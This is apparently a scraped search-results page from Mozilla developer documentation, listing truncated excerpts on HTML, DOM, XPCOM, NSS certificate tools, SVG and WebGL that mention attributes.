...er for link text to make sense in context and out of context. next on our list, the form <label> element is one of the central features that allows us to make forms accessible. the trouble with forms is that you need labels to say what data should be entered into each form input. each label needs to be included inside a <label> to link it unambiguously to its partner form input (each <label> for
attribute value needs to match the form element id value), and it will make sense even if the source order is not completely logical (which to be fair it should be). note: for more information about link text and form labels, read meaningful text labels. finally, a quick word about data tables. a basic data table can be written with very simple markup (see bad-table.html live, and source), but this has...
...And 3 more matches
Mozilla Quirks Mode Behavior
l still be treated as css even if the server gives a content-type header other than text/css. the css parser accepts colors not beginning with #, except in shorthands. the css parser interprets unitless numbers as px (except for line-height and any other properties where they have distinct meaning, and except in shorthands). in quirks mode, the css parser allows {} around the contents of style
attributes (bug 99554). this behavior is being removed in firefox 27, for interoperability. (bug 915053) an empty string for the background
attribute sets the background url to empty only in quirks mode. the topmargin, bottommargin, leftmargin, and rightmargin
attributes on body are supported only in quirks mode (bug 9258). obsolete since gecko 35 (firefox 35.0 / thunderbird 35.0 / seamonkey 2.32) (bug...
...lheight properties are relative to body in quirks mode (instead of html) (bug 211030). html (1-7) and css (xx-small - xx-large) font sizes are calculated slightly differently (see bug 18136). the :hover and :active pseudo-classes will only be applied to links, and only if there is no other pseudo-class in the selector. to match other elements, the selector must include a tag name, id, class or
attribute. prior to gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3), there was no class check, so the :hover pseudoclass was not applied to class selectors; for example, .someclass:hover did not work. prior to gecko 36, it also applied to images, and form controls but the quirk has been adapted to match the behavior of other browser (bug 783213). prior to gecko 36, the quirk was also applie...
...s, and form controls but the quirk has been adapted to match the behavior of other browser (bug 783213). prior to gecko 36, the quirk was also applied if another pseudo-class was used in the same selector, if a pseudo-element was used in the selector, or if it was part of a pseudo-class argument (bug 783213). quirks mode has document.all support (undetected). images (img elements) without alt
attributes sometimes display placeholder icons in quirks mode. obsolete since gecko 2.0 html colors were parsed differently up to gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) (bug 121738). in quirks mode, the url fragment #top scrolls to the top of the page when there is no such anchor. obsolete since gecko 10.0 however, html5 requires this behavior, and starting in gecko 10.0 (firefox 10.0...
...And 3 more matches
NSS tools : modutil
elimit tokens. keys the java install file uses keys to define the platform and module information. forwardcompatible gives a list of platforms that are forward compatible. if the current platform cannot be found in the list of supported platforms, then the forwardcompatible list is checked for any platforms that have the same os and architecture in an earlier version. if one is found, its
attributes are used for the current platform. platforms (required) gives a list of platforms. each entry in the list is itself a key-value pair: the key is the name of the platform and the value list contains various
attributes of the platform. the platform string is in the format system name:os release:architecture. the installer obtains these values from nspr. os release is an empty string on non-un...
... per-platform keys per-platform keys have meaning only within the value list of an entry in the platforms list. modulename (required) gives the common name for the module. this name is used to reference the module by servers and by the modutil tool. modulefile (required) names the pkcs #11 module file for ...
...86) o nec (mips) o os2 (x86) o osf (alpha) o reliantunix (mips) o sco (x86) o solaris (sparc) o sony (mips) o sunos (sparc) o unixware (x86) o win16 (x86) o win95 (x86) o winnt (x86) for example: irix:6.2:mips sunos:5.5.1:sparc linux:2.0.32:x86 win95::x86 the module information is defined independently for each platform in the modulename, modulefile, and files
attributes. these
attributes must be given unless an equivalentplatform
attribute is specified. per-platform keys per-platform keys have meaning only within the value list of an entry in the platforms list. modulename (required) gives the common name for the module. this name is used to reference the module by servers and by the modutil tool. modulefile (required) names the pkcs #11 module file for this platform. th...
...And 3 more matches
NSS Tools certutil
-d delete a certificate from the certificate database. -l list all the certificates, or display information about a named certificate, in a certificate database. use the -htokenname argument to specify the certificate database on a particular hardware or software token. -v check the validity of a certificate and its
attributes. -m modify a certificate's trust
attributes using the values of the -t argument. -h display a list of the options and arguments used by the certificate database tool. -w change the password to a key database. -u list all available modules or print a single named module. ...
...icate's binary der encoding when listing information about that certificate with the -l option. -s subject identify a particular certificate owner for new certificates or certificate requests. bracket this string with quotation marks if it contains spaces. the subject identification format follows rfc 1485. ...
...ation format follows rfc 1485. -t trustargs specify the trust
attributes to modify in an existing certificate or to apply to a certificate when creating it or adding it to a database. there are three available trust categories for each certificate, expressed in this order: "ssl ,email ,object signing ". ...
...And 3 more matches
certutil
alue of the dsa key. ids are displayed in hexadecimal ("0x" is not shown). -l list all the certificates, or display information about a named certificate, in a certificate database. use the -h tokenname argument to specify the certificate database on a particular hardware or software token. -m modify a certificate's trust
attributes using the values of the -t argument. -n create new certificate and key databases. -o print the certificate chain. -r create a certificate request file that can be submitted to a certificate authority (ca) for processing into a finished certificate. output defaults to standard out unless you use -o output-...
...ndard out unless you use -o output-file argument. use the -a argument to specify ascii output. -s create an individual certificate and add it to a certificate database. -t reset the key database or token. -u list all available modules or print a single named module. -v check the validity of a certificate and its
attributes. -w change the password to a key database. --merge merge a source database into the target database. this is used to merge legacy nss databases (cert8.db and key3.db) into the newer sqlite databases (cert9.db and key4.db). --upgrade-merge upgrade an old database and merge it into a new database. this is used to migr...
...r encoding when listing information about that certificate with the -l option. -s subject identify a particular certificate owner for new certificates or certificate requests. bracket this string with quotation marks if it contains spaces. the subject identification format follows rfc #1485. ...
...And 3 more matches
NSS tools : modutil
keys the java install file uses keys to define the platform and module information. forwardcompatible gives a list of platforms that are forward compatible. if the current platform cannot be found in the list of supported platforms, then the forwardcompatible list is checked for any platforms that have the same os and architecture in an earlier version. if one is found, its
attributes are used for the current platform. platforms (required) gives a list of platforms. each entry in the list is itself a key-value pair: the key is the name of the platform and the value list contains various
attributes of the platform. the platform string is in the format system name:os release:architecture. the installer obtains these values from nspr. os release is an empty strin...
... per-platform keys per-platform keys have meaning only within the value list of an entry in the platforms list. modulename (required) gives the common name for the module. this name is used to reference the module by servers and by the modutil tool. modulefile (required) names the pkcs #1...
...reliantunix (mips) o sco (x86) o solaris (sparc) o sony (mips) o sunos (sparc) o unixware (x86) o win16 (x86) o win95 (x86) o winnt (x86) for example: irix:6.2:mips sunos:5.5.1:sparc linux:2.0.32:x86 win95::x86 the module information is defined independently for each platform in the modulename, modulefile, and files
attributes. these
attributes must be given unless an equivalentplatform
attribute is specified. per-platform keys per-platform keys have meaning only within the value list of an entry in the platforms list. modulename (required) gives the common name for the module. this name is used to reference the module by servers and by the modutil tool. modulefile (required) names the pkcs #11 module file for ...
...And 3 more matches
imgIContainer
you can only be guaranteed that querying this will not throw if status_decode_complete is set on the imgirequest. read only. exceptions thrown ns_error_not_available if the animated state cannot be determined. animationmode unsigned short...
...you can only be guaranteed that querying this will not throw if status_decode_complete is set on the imgirequest. read only. exceptions thrown ns_error_not_available if the animated state cannot be determined. animationmode unsigned short curre...
...te since gecko 1.9.2 type unsigned short the type of this image (one of the type_* values above). read only. width print32 the width of the container rectangle. in the case of any error, zero is returned, and an exception will be thrown. read only. constants constant value description type_raster 0 enumerated values for the 'type'
attribute (below). type_vector 1 flag_none 0x0 flags for imgicontainer operations. meanings: flag_none: lack of flags. flag_sync_decode: forces synchronous/non-progressive decode of all available data before the call returns. it is an error to pass this flag from a call stack that originates in a decoder (that is, from a decoder observer event). flag_dec...
...And 3 more matches
nsIAccessible
mozilla creates the implementations of nsiaccessible on demand. [scriptable, uuid=(c7520419-87ec-42bc-98cc-04c0bf173530)] interface nsiaccessible : nsisupports { ... }; accessible/public/nsiaccessible.idlscriptable please add a summary to this article. last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) overview this section provides short overview of methods and
attributes of this interface. all methods and
attributes are grouped by categories. role, states and name these includes main properties used to describe the accessible. nsiaccessible.role to get the role of the accessible nsiaccessible.getstate() to get states of the accessibe nsiaccessible.name, nsiaccessible.value to get the name and the value of the accessible tree navigation you can navigate t...
...ped by categories. role, states and name these includes main properties used to describe the accessible. nsiaccessible.role to get the role of the accessible nsiaccessible.getstate() to get states of the accessibe nsiaccessible.name, nsiaccessible.value to get the name and the value of the accessible tree navigation you can navigate through the accessible tree by the following methods and
attributes. nsiaccessible.parent to get the parent accessible nsiaccessible.nextsibling, nsiaccessible.previoussibling to get sibling accessibles nsiaccessible.firstchild, nsiaccessible.lastchild to get first and last child nsiaccessible.children, nsiaccessible.getchildat(), nsiaccessible.childcount to navigate through the children by index accessible position you can use nsiaccessible.indexinpar...
...ssible.extendselection(). actions you can prepare actions on some accessibles (for example on button accessible). the following methods are intended for this nsiaccessible.actioncount, nsiaccessible.getactionname(), nsiaccessible.getactiondescription() and nsiaccessible.doaction(). descriptions nsiaccessible.description and nsiaccessible.help provides additional text information about accessible.
attributes many accessibles exposes
attributes to provide more details that cannot be fit into existing api methods, please refer to
attributes documentation for more information. you can use nsiaccessible.
attributes to get a map of
attributes. keyboard shortcuts some actions on accessibles can be performed by keyboard shortcuts. following methods are used to get them nsiaccessible.defaultkeybinding(), nsi...
...And 3 more matches
nsICompositionStringSynthesizer
this means that the clause is not converted. i.e., raw text of user input. attr_selectedrawtext 0x03 a claus...
...sitioncommit", "foo-bar-buzz", ""); method overview void appendclause(in unsigned long alength, in unsigned long a
attribute); boolean dispatchevent(); void setcaret(in unsigned long aoffset, in unsigned long alength); void setstring(in astring astring); constants constant value description attr_raw_input 0x02 a clause
attribute. this means that the clause is not converted. i.e., raw text of user input. attr_selectedrawtext 0x03 a clause
attribute but this is typically not used. this means that the clause is not converted but selected to convert or modify. attr_convertedtext 0x04 a clause
attribute. this means that the clause is already converted. attr_selectedconvertedtext 0x05 ...
... that the clause is not converted. i.e., raw text of user input. attr_selectedrawtext 0x03 a clause
attribute but this is typically not used. this means that the clause is not converted but selected to convert or modify. attr_convertedtext 0x04 a clause
attribute. this means that the clause is already converted. attr_selectedconvertedtext 0x05 a clause
attribute. this means that the clause is already converted and is selected to convert. methods appendclause() appends a clause to the composition string which is set by setstring(). sum of alength must be same as the length of astring of setstring(). ...
...And 3 more matches
nsIEditor
« xpcom api reference editor/nsieditor.idlscriptable provides methods and
attributes used when editing page content. ...
...dlscriptable provides methods and
attributes used when editing page content. ...
...anged in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) method overview [noscript] void init(in nsidomdocument doc, in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void set
attributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void remove
attributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); selected content removal void deleteselection(in short action, in short stripwrappers); document info and file methods void resetmodificationcount(); long getmodificati...
...And 3 more matches
nsIHttpChannel
referrer_policy_no_referrer indicates no referrer will be sent referrer_policy_origin only send the origin of the referring uri referrer_policy_origin_when_xorigin same as the default; only send the origin of the referring uri for cross-origin requests referrer_policy_unsafe_url always send the referrer, even when downgrading from https to http
attributes
attribute type description allowpipelining boolean this
attribute is a hint to the channel to indicate whether or not the underlying http transaction should be allowed to be pipelined with other transactions. this should be set to false, for example, if the application knows that the corresponding document is likely to be very large. this
attribute is tru...
...g boolean this
attribute is a hint to the channel to indicate whether or not the underlying http transaction should be allowed to be pipelined with other transactions. this should be set to false, for example, if the application knows that the corresponding document is likely to be very large. this
attribute is true by default, though other factors may prevent pipelining. this
attribute may only be set before the channel is opened. exceptions thrown ns_error_failure if set after the channel has been opened. redirectionlimit unsigned long this
attribute specifies the number of redirects this channel is allowed to make. if zero, the channel will fail to redirect and will generate a ns_error_redirect_loop failure status. n...
... referrer nsiuri get or set the uri of the http referer: header. ...
...And 3 more matches
nsIProxyInfo
this interface identifies a proxy server. netwerk/base/public/nsiproxyinfo.idlscriptable please add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports
attributes
attribute type description failoverproxy nsiproxyinfo this
attribute specifies the proxy to failover to when this proxy fails. ...
...ease add a summary to this article. last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports
attributes
attribute type description failoverproxy nsiproxyinfo this
attribute specifies the proxy to failover to when this proxy fails. failovertimeout unsigned long this
attribute specifies the failover timeout in seconds for this proxy. if a nsiproxyinfo is reported as failed via nsiprotocolproxyservice.getfailoverforproxy(), then the failed proxy will not be used again for this many seconds. read only. ...
...proxy to failover to when this proxy fails. failovertimeout unsigned long this
attribute specifies the failover timeout in seconds for this proxy. if a nsiproxyinfo is reported as failed via nsiprotocolproxyservice.getfailoverforproxy(), then the failed proxy will not be used again for this many seconds. read only. flags unsigned long this
attribute specifies flags that modify the proxy type. the value of this
attribute is the bit-wise combination of the proxy flags defined below. any undefined bits are reserved for future use. read only. host autf8string this
attribute specifies the hostname of the proxy server. read only. note: prior to gecko 1.8 host was available by the host method. ...
...And 3 more matches
nsIWindowMediator
urn value pr_true if the position returned is different from the position given. getenumerator() return an enumerator which iterates over all windows of type awindowtype from the oldest window to the youngest. nsisimpleenumerator getenumerator( in wstring awindowtype ); parameters awindowtype the returned enumerator will enumerate only windows of this type. ...
... return value the topmost window. note: starting in gecko 8.0, the returned value is an nsidomwindow; previously, it was an nsidomwindowinternal. you may need to update your code or recompile binary components, if they use this method. ...
...erfaces.nsidomwindowutils); return winutil.getouterwindowwithid(aouterwindowid); } } getxulwindowenumerator() identical to getenumerator() except it returns nsixulwindow instead of nsidomwindow. nsisimpleenumerator getxulwindowenumerator( in wstring awindowtype ); parameters awindowtype the returned enumerator will enumerate only windows of this type; that is, the windowtype
attribute of the xul window element. if null, all windows are enumerated. return value an enumerator of nsixulwindows. native code only!getzlevel return the window's z level (as defined in nsixulwindow). pruint32 getzlevel( in nsixulwindow awindow ); parameters awindow the window in question. return value awindow's z level. getzorderdomwindowenumerator() return an enumerator which iterat...
...And 3 more matches
nsIXULTemplateBuilder
a template builder, given an input source of data, a template, and a reference point, generates a list of results from the input, and copies part of the template for each result. templates may generate content recursively, using the same template, but with the previous iteration's results as the reference point. ...
...ey generate and display the resulting content from the template. the structure of a template is as follows: <rootnode datasources="" ref=""> <template> <queryset> <query></query> <rule> <conditions>...</conditions> <bindings>...</bindings> <action>...</action> </rule> </queryset> </template> </rootnode> the datasources
attribute on the root node is used to identify the source of data to be used. the ref
attribute is used to specify the reference point for the query. the <queryset> element contains a single query and one or more <rule> elements. there may be more than one <queryset> if multiple queries are desired, and this element is optional if only one query is needed -- in that case the <query> and <rule>s are allowed...
...ed. templates may generate content recursively, using the previous iteration's results as reference point to invoke the same queries. since the reference point is different, different output will typically be generated. the reference point nsixultemplateresult object for the first iteration is determined by calling the query processor's translateref() method using the value of the root node's ref
attribute. this object may be retrieved later via the builder's rootresult property. for convenience, each reference point as well as all results implement the nsixultemplateresult interface, allowing the result objects from each iteration to be used directly as the reference points for the next iteration. when using multiple queries, each may generate results with the same id. more than one of these resul...
...And 3 more matches
Adding items to the Folder Pane
t, false); }, _insert: function gne__insert() { // this function is called when a rebuild occurs } }; window.addeventlistener("load", gnumbersext.load, true); the structure of folder-tree-items the folder pane stores its current display data in a property called _rowmap. this property is an array of folder-tree-items. ...
...led when a rebuild occurs } }; window.addeventlistener("load", gnumbersext.load, true); the structure of folder-tree-items the folder pane stores its current display data in a property called _rowmap. this property is an array of folder-tree-items. each item in this array satisfies the following interface: id (
attribute) a unique string for this object. ...
...ner("load", gnumbersext.load, true); the structure of folder-tree-items the folder pane stores its current display data in a property called _rowmap. this property is an array of folder-tree-items. each item in this array satisfies the following interface: id (
attribute) a unique string for this object. ...
...And 3 more matches
Introduction to the DOM - Web APIs
r returns an object of type document (e.g., the ownerdocument property of an element returns the document to which it belongs), this object is the root document object itself. the dom document reference chapter describes the document object. node every object located within a document is a node of some kind. in an html document, an object can be an element node but also a text node or
attribute node. element the element type is based on node. it refers to an element or a node of type element returned by a member of the dom api. rather than saying, for example, that the document.createelement() method returns an object reference to a node, we just say that this method returns the element that has just been created in the dom. element objects implement the dom element interfac...
...delist is an array of elements, like the kind that is returned by the method document.getelementsbytagname(). items in a nodelist are accessed by index in either of two ways: list.item(1) list[1] these two are equivalent. in the first, item() is the single method on the nodelist object. the latter uses the typical array syntax to fetch the second item in the list.
attribute when an
attribute is returned by a member (e.g., by the create
attribute() method), it is an object reference that exposes a special (albeit small) interface for
attributes.
attributes are nodes in the dom just like elements are, though you may rarely use them as such. namednodemap a namednodemap is like an array, but the items are accessed by name or index, though this latter case ...
...emap is like an array, but the items are accessed by name or index, though this latter case is merely a convenience for enumeration, as they are in no particular order in the list. a namednodemap has an item() method for this purpose, and you can also add and remove items from a namednodemap. there are also some common terminology considerations to keep in mind. it's common to refer to any
attribute node as simply an
attribute, for example, and to refer to an array of dom nodes as a nodelist. you'll find these terms and others to be introduced and used throughout the documentation. dom interfaces this guide is about the objects and the actual things you can use to manipulate the dom hierarchy. there are many points where understanding how these work can be confusing. for example, the objec...
...And 3 more matches
HTMLAreaElement - Web APIs
e="middle">htmlareaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements those from htmlhyperlinkelementutils. element.accesskey is a domstring containing a single character that switches input focus to the control. htmlareaelement.alt is a domstring that reflects the alt html
attribute, containing alternative text for the element. htmlareaelement.coords is a domstring that reflects the coords html
attribute, containing coordinates to define the hot-spot region. htmlareaelement.download is a domstring indicating that the linked resource is intended to be downloaded rather than displayed in the browser. the value represent the proposed name of the file. if the name is not a...
...entifier (including the leading hash mark (#)), if any, in the referenced url. htmlhyperlinkelementutils.host is a usvstring containing the hostname and port (if it's not the default port) in the referenced url. htmlhyperlinkelementutils.hostname is a usvstring containing the hostname in the referenced url. htmlhyperlinkelementutils.href is a usvstring containing that reflects the href html
attribute, containing a valid url of a linked resource. htmlareaelement.hreflang is a domstring containing that reflects the hreflang html
attribute, indicating the language of the linked resource. htmlareaelement.media is a domstring containing that reflects the media html
attribute, indicating target media of the linked resource. htmlareaelement.nohref is a boolean flag indicating if the area is ...
...ning the path name component, if any, of the referenced url. htmlhyperlinkelementutils.port is a usvstring containing the port component, if any, of the referenced url. htmlhyperlinkelementutils.protocol is a usvstring containing the protocol component (including trailing colon ':'), of the referenced url. ...
...And 3 more matches
HTMLIFrameElement - Web APIs
e">htmliframeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmliframeelement.align is a domstring that specifies the alignment of the frame with respect to the surrounding context. htmliframeelement.allow is a list of origins the the frame is allowed to display content from. this
attribute also accepts the values self and src which represent the origin in the iframe's src
attribute. the default value is src. htmliframeelement.allowfullscreen is a boolean indicating whether the inline frame is willing to be placed into full screen mode. see using full-screen mode for details. htmliframeelement.allowpaymentrequest is a boolean indicating whether the payment request api may be i...
...contentwindow read only returns a windowproxy, the window proxy for the nested browsing context. htmliframeelement.csp specifies the content security policy that an embedded document must agree to enforce upon itself. htmliframeelement.frameborder is a domstring that indicates whether to create borders between frames. ...
...t html
attribute, indicating the height of the frame. htmliframeelement.longdesc is a domstring that contains the uri of a long description of the frame. htmliframeelement.marginheight is a domstring being the height of the frame margin. htmliframeelement.marginwidth is a domstring being the width of the frame margin. htmliframeelement.name is a domstring that reflects the name html
attribute, containing a name by which to refer to the frame. htmliframeelement.featurepolicy read only returns the featurepolicy interface which provides a simple api for introspecting the feature policies applied to a specific document. ...
...And 3 more matches
HTMLScriptElement - Web APIs
t-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlscriptelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlscriptelement.type is a domstring representing the mime type of the script. it reflects the type
attribute. htmlscriptelement.src is a domstring representing the url of an external script. it reflects the src
attribute. htmlscriptelement.event is a domstring; an obsolete way of registering event handlers on elements in an html document. htmlscriptelement.charset is a domstring representing the character encoding of an external script. it reflects the charset
attribute. htmlscriptelement.a...
... the url of an external script. it reflects the src
attribute. htmlscriptelement.event is a domstring; an obsolete way of registering event handlers on elements in an html document. htmlscriptelement.charset is a domstring representing the character encoding of an external script. it reflects the charset
attribute. htmlscriptelement.async htmlscriptelement.defer the async and defer
attributes are boolean
attributes that control how the script should be executed. the defer and async
attributes must not be specified if the src
attribute is absent. there are three possible execution modes: if the async
attribute is present, then the script will be executed asynchronously as soon as it downloads. ...
...t.async htmlscriptelement.defer the async and defer
attributes are boolean
attributes that control how the script should be executed. the defer and async
attributes must not be specified if the src
attribute is absent. there are three possible execution modes: if the async
attribute is present, then the script will be executed asynchronously as soon as it downloads. if the async
attribute is absent but the defer
attribute is present, then the script is executed when the page has finished parsing. if neither
attribute is present, then the script is fetched and executed immediately, blocking further parsing of the page. ...
...And 3 more matches
HTMLSelectElement - Web APIs
font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlselectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement, and of element and node. htmlselectelement.autofocus a boolean reflecting the autofocus html
attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. only one form-associated element in a document can have this
attribute specified. htmlselectelement.disabled a boolean reflecting the disabled html
attribute, which indicates whether the control is disabled. if it is disabled, it does not...
...encing the form that this element is associated with. if the element is not associated with of a <form> element, then it returns null. htmlselectelement.labelsread only a nodelist of <label> elements associated with the element. htmlselectelement.length an unsigned long the number of <option> elements in this select element. htmlselectelement.multiple a boolean reflecting the multiple html
attribute, which indicates whether multiple items can be selected. htmlselectelement.name a domstring reflecting the name html
attribute, containing the name of this control used by servers and dom search functions. htmlselectelement.optionsread only an htmloptionscollection representing the set of <option> (htmloptionelement) elements contained by this element. htmlselectelement.required a boolean ...
... htmlselectelement.selectedindex a long reflecting the index of the first selected <option> element. the value -1 indicates no element is selected. ...
...And 3 more matches
HTMLTableCellElement - Web APIs
lement.cellindex read only a long integer representing the cell's position in the cells collection of the <tr> the cell is contained within. if the cell doesn't belong to a <tr>, it returns -1. htmltablecellelement.colspan an unsigned long integer indicating the number of columns this cell must span; this lets the cell occupy space across multiple columns of the table. it reflects the colspan
attribute. htmltablecellelement.headers read only is a domsettabletokenlist describing a list of id of <th> elements that represents headers associated with the cell. it reflects the headers
attribute. htmltablecellelement.rowspan an unsigned long integer indicating the number of rows this cell must span; this lets a cell occupy space across multiple rows of the table. it reflects the rowspan attribut...
...ll establish the scope based on contextual clues. methods no specific method; inherits methods from its parent, htmlelement. deprecated properties warning: these properties have been deprecated and should no longer be used. they are documented primarily to help understand older code bases. htmltablecellelement.align a domstring containing an enumerated value reflecting the align
attribute. it indicates the alignment of the element's contents with respect to the surrounding context. the possible values are "left", "right", and "center". htmltablecellelement.axis a domstring containing a name grouping cells in virtual. it reflects the obsolete axis
attribute. htmltablecellelement.bgcolor a domstring containing the background color of the cells. it reflects the obsolete bgcol...
... htmltablecellelement.ch a domstring containing one single chararcter. ...
...And 3 more matches
MutationObserver.MutationObserver() - Web APIs
mutationobserver which invoked the callback. see the example below for more details. return value a new mutationobserver object, configured to call the specified callback when dom mutations occur. ...
...ges to
attributes on any of the elements in the tree. the callback function function callback(mutationlist, observer) { mutationlist.foreach( (mutation) => { switch(mutation.type) { case 'childlist': /* one or more children have been added to and/or removed from the tree. (see mutation.addednodes and mutation.removednodes.) */ break; case '
attributes': /* an
attribute value changed on the element in mutation.target. the
attribute name is in mutation.
attributename, and its previous value is in mutation.oldvalue. */ break; } }); } the callback() function is invoked when the observer sees changes matching the configuration of the observation request specified when calling observe() to beg...
... is in mutation.
attributename, and its previous value is in mutation.oldvalue. */ break; } }); } the callback() function is invoked when the observer sees changes matching the configuration of the observation request specified when calling observe() to begin watching the dom. the kind of change that took place (either a change to the list of children, or a change to an
attribute) is detected by looking at the mutation.type property. creating and starting the observer this code actually sets up the observation process. ...
...And 3 more matches
SVGAnimatedString - Web APIs
setter throws domexception. ...
...setter throws domexception. ...
...setter throws domexception. ...
...And 3 more matches
SVGLengthList - Web APIs
the list. length unsigned long the number of items in the list. methods name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. initialize(in svglength newitem) svglength clears all existing current items from the list and re-initializes the list to hold the single item specified by the parameter. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and no...
...ld the single item specified by the parameter. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. getitem(in unsigned long index) svglength returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when the li...
...read only. getitem(in unsigned long index) svglength returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. insertitembefore(in svglength newitem, in unsigned long index) svglength inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. if the ite...
...And 3 more matches
SVGNumberList - Web APIs
list. length unsigned long the number of items in the list. methods name & arguments return description clear() void clears all existing current items from the list, with the result being an empty list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. initialize(in svgnumber newitem) svgnumber clears all existing current items from the list and re-initializes the list to hold the single item specified by newitem. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a ...
... hold the single item specified by newitem. if the inserted item is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. the return value is the item inserted into the list. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. getitem(in unsigned long index) svgnumber returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when t...
...only. getitem(in unsigned long index) svgnumber returns the specified item from the list. the returned item is the item itself and not a copy. any changes made to the item are immediately reflected in the list. the first item is number 0. exceptions: a domexception with code no_modification_allowed_err is raised when the list corresponds to a read only
attribute or when the object itself is read only. insertitembefore(in svgnumber newitem, in unsigned long index) svgnumber inserts a new item into the list at the specified position. the first item is number 0. if newitem is already in a list, it is removed from its previous list before it is inserted into this list. the inserted item is the item itself and not a copy. if ...
...And 3 more matches
SVGTransform - Web APIs
an svgtransform object can be designated as read only, which means that attempts to modify the object will result in an exception being thrown. ...
... a rotate(…) transformation svg_transform_skewx 5 a skewx(…) transformation svg_transform_skewy 6 a skewy(…) transformation properties name type description type unsigned short the type of the value as specified by one of the svg_transform_* constants defined on this interface. angle float a convenience
attribute for svg_transform_rotate, svg_transform_skewx and svg_transform_skewy. it holds the angle that was specified. for svg_transform_matrix, svg_transform_translate and svg_transform_scale, angle will be zero. matrix svgmatrix the matrix that represents this transformation. the matrix object is live, meaning that any changes made to the svgtransform object are immediately ...
... name & arguments return description setmatrix(in svgmatrix matrix) void sets the transform type to svg_transform_matrix, with parameter matrix defining the new transformation. note that the values from the parameter matrix are copied. ...
...And 3 more matches
WebGLRenderingContext.getVertexAttrib() - Web APIs
otherwise false. gl.vertex_attrib_array_size: returns a glint indicating the size of an element of the vertex array. ...
...otherwise false. gl.vertex_attrib_array_size: returns a glint indicating the size of an element of the vertex array. ...
...otherwise false. gl.vertex_attrib_array_size: returns a glint indicating the size of an element of the vertex array. gl.vertex_attrib_array_stride: returns a glint indicating the number of bytes between successive elements in the array. 0 means that the elements are sequential. gl.vertex_attrib_array_type: returns a glenum representing the array type. ...
...And 3 more matches
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
the webglrenderingcontext.vertexattrib[1234]f[v]() methods of the webgl api specify constant values for generic vertex
attributes. syntax void gl.vertexattrib1f(index, v0); void gl.vertexattrib2f(index, v0, v1); void gl.vertexattrib3f(index, v0, v1, v2); void gl.vertexattrib4f(index, v0, v1, v2, v3); void gl.vertexattrib1fv(index, value); void gl.vertexattrib2fv(index, value); void gl.vertexattrib3fv(index, value); void gl.vertexattrib4fv(index, value); parameters index a gluint specifying the position of the vertex
attribute to be modified. v0, v1, v2, v3 a floating point number for the vertex
attribute value. ...
...0, v1, v2, v3); void gl.vertexattrib1fv(index, value); void gl.vertexattrib2fv(index, value); void gl.vertexattrib3fv(index, value); void gl.vertexattrib4fv(index, value); parameters index a gluint specifying the position of the vertex
attribute to be modified. v0, v1, v2, v3 a floating point number for the vertex
attribute value. value a float32array for floating point vector vertex
attribute values. return value none. ...
...xattrib2fv(index, value); void gl.vertexattrib3fv(index, value); void gl.vertexattrib4fv(index, value); parameters index a gluint specifying the position of the vertex
attribute to be modified. v0, v1, v2, v3 a floating point number for the vertex
attribute value. value a float32array for floating point vector vertex
attribute values. return value none. description while vertex
attributes are usually used to specify values which are different for each vertex (using vertexattribpointer), it can be useful to specify a constant value. ...
...And 3 more matches
A basic 2D WebGL animation example - Web APIs
rner is at (600, 460). vertex shader first, let's take a look at the vertex shader. its job, as always, is to convert the coordinates we're using for our scene into clipspace coordinates (that is, the system by which (0, 0) is at the center of the context and each axis extends from -1.0 to 1.0 regardless of the actual size of the context). ...
...we need to convert these values so that both components of the position are in the range -1.0 to 1.0. this can be done easily enough by multiplying by a scaling factor that's based on the context's aspect ratio. we'll see that computation shortly. we're also rotating the shape, and we can do that here,...
...t, passing into it the id and type of the shader function to build. each of those objects includes, as mentioned before, the id of the <script> element the shader code is found in and the type of shader it is. the compiled shader is attached to the shader program by passing it into gl.attachshader(). we could go a step farther here, actually, and look at the value of the <script> element's type
